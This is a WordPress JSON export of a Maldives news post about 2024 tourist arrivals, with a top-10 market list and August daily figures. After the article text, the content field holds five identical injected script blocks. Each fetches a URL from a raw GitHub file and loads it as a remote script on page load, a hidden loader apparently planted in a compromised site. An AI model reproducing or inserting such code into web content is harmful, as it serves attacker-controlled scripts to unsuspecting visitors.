{"id":10098,"date":"2024-08-11T09:25:17","date_gmt":"2024-08-11T04:25:17","guid":{"rendered":"https:\/\/mbt.mv\/?p=10098"},"modified":"2024-08-11T09:25:17","modified_gmt":"2024-08-11T04:25:17","slug":"maldives-attract-1-2-million-guests-up-10-2","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=10098","title":{"rendered":"Maldives attract 1.2 million guests, up 10.2%"},"content":{"rendered":"<p>The Maldives has attracted over 1.2 million tourists as of August 6, 2024 according to the Ministry of Tourism.<\/p>\n<p>According to the ministry&#8217;s statistics, the island nation has attracted 1,221,816 tourists from January 1 to August 6, which is a 10.2% increment in annual terms compared to the same period last year, during which arrivals stood at 1,108,715.<\/p>\n<h2>Top 10 Markets 2024<\/h2>\n<ol>\n<li>China: 168,624<\/li>\n<li>Russia: 130,908<\/li>\n<li>UK: 107,583<\/li>\n<li>Italy: 89,563<\/li>\n<li>Germany: 88,566<\/li>\n<li>India: 73,258<\/li>\n<li>USA: 43,022<\/li>\n<li>France: 36,732<\/li>\n<li>Switzerland: 25,011<\/li>\n<li>Spain: 23,598<\/li>\n<\/ol>\n<p>Total arrivals from August 1 to 6 saw a 15.7% increment, registering 38,759 arrivals compared to the 33,488 arrivals observed in the same period in 2023.<\/p>\n<p>The daily arrival average is 5,579 in annual terms and the average duration of stay in annual terms is 7.7 days.<\/p>\n<p>So far in August, the highest single-day arrival was recorded on August 3, with an arrival of 7,012, and the lowest single-day arrival was observed on August 6, with an arrival of 5,579.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Maldives has attracted over 1.2 million tourists as of August 6, 2024 according to the Ministry of Tourism. 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